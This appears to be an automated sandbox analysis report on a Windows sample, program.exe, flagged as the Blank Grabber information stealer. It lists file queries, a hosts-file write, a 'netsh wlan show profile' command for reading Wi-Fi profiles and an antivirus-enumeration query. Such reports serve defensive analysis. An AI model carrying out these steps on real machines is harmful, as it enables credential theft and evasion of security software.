Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\BPMLNOBVSB.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\CURQNKVOIX.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\CURQNKVOIX.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\CURQNKVOIX.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\CURQNKVOIX.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\CURQNKVOIX.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\DVWHKMNFNN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.pdf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B750D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6B750D010

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B7525E7C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF6B7525E7C

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE948CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

83_2_00007FF64FE948CC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

